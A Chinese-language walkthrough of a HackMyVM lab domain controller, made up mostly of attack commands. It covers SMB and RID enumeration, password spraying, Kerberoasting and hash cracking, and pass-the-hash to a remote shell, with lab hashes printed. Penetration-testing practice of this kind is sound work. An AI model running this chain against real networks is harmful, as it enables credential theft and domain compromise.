

操作系统:Windows(域控服务器,主机名:DC01)
开放端口和服务:
53 - DNS
88 - Kerberos(认证服务)
135 - RPC
139/445 - SMB(文件共享)
389/3268 - LDAP(AD 目录服务)
464 - Kerberos密码修改
593 - RPC over HTTP
636/3269 - LDAPS(加密LDAP)
其他信息:
域名是:SOUPEDECODE.LOCAL
SMB要求签名(意味着直接pass-the-hash/relay SMB攻击受限)
时间存在时钟偏移(+15小时)
|
先给域名加入hosts文件
然后收集smb信息
crackmapexec smb 192.168.56.128 -u '' -p '' --shares crackmapexec smb 192.168.56.128 -u 'anonymous' -p '' --shares crackmapexec smb 192.168.56.128 -u 'guest' -p '' --shares crackmapexec smb 192.168.56.128 -u 'banyio' -p '' --shares smbmap -H 192.168.56.128 -u guest smbmap -H 192.168.56.128 -u anonymous smbmap -H 192.168.56.128 -u banyio
|

可以利用guest对IPC$的可读权限进行域用户和域用户名的枚举
rpcclient -U "" 192.168.56.128 enumdomusers enumdomgroups querydominfo lsaquery 失败 impacket-lookupsid banyio@192.168.56.128 nxc smb 192.168.56.128 -u guest -p "" --rid-brute 枚举成功 两者的区别 rpcclient enumdomusers → 相当于“老板,能给我公司所有员工名单吗?” → 如果你只是个门卫(guest用户),老板肯定不答应你。 lookupsid.py → 相当于“自己偷偷查,每个员工ID是不是在这家公司”,一个个试出来的。 → 慢,但是只要门还开着(IPC$连得上),你就能一点点摸出来。
|

提取出用户名
impacket-lookupsid banyio@192.168.56.128 > name.txt 或nxc smb 192.168.0.202 -u guest -p "" --rid-brute | tee nxc.rid.txt
cat name.txt | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt或 garffff@garffff:~/hackmyvm/dc01$ cat nxc.rid.txt | grep SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt nxc smb $IP -u websvc -p 'jordan23' --rid-brute | grep SidTypeUser |cut -d: -f2 |cut -d \\ -f2 |cut -d ' ' -f1 > names.txt
|
进行爆破
nxc smb 192.168.56.128 -u user.txt -p user.txt nxc smb 192.168.56.128 -u user.txt -p user.txt --no-brute这样的是行行对应爆破
|

爆出用户名密码
登录并找到flag


接下来就是提权找另一个用户了
下面是就是Kerberoasting攻击
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request
|

再次查看端口发现是因为时间不同步造成的
ntpdate -q SOUPEDECODE.LOCAL
faketime '53998 seconds' impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request
|
这样就解决了时间不同步问题
接下来就是爆破
faketime '53998 seconds' impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request -outputfile hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 这个看不出密码是哪个用户的 所以可以用 hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
|

得道密码Password123!!用户为file_svc

多了一些权限
smbclient //192.168.56.128/backup -U file_svc
|

┌──(root㉿kali)-[/dc1] └─# cat backup_extract.txt WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902::: DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7::: CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117::: FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559::: MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3::: BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3::: ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5::: PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28::: ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881::: MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
|
接下来将用户名和密码分开
cat backup_extract.txt | cut -d ":" -f 1 > new_users.txt cat backup_extract.txt | cut -d ':' -f4 > hashes.txt 爆破 nxc smb 192.168.56.128 -u new_users.txt -H hashes.txt
|

得到对应的用户和密码
SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
evil-winrm -i 10.0.2.31 -u 'FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559(用的WinRM协议) 或 wmiexec.py 'SOUPEDECODE.LOCAL/FileServer$@192.168.56.128' -hashes :e41da7e79a4c76dbd9cf79d1cb325559(用的WMI协议)
|
远程连接获得shell

rootflag
在admin桌面
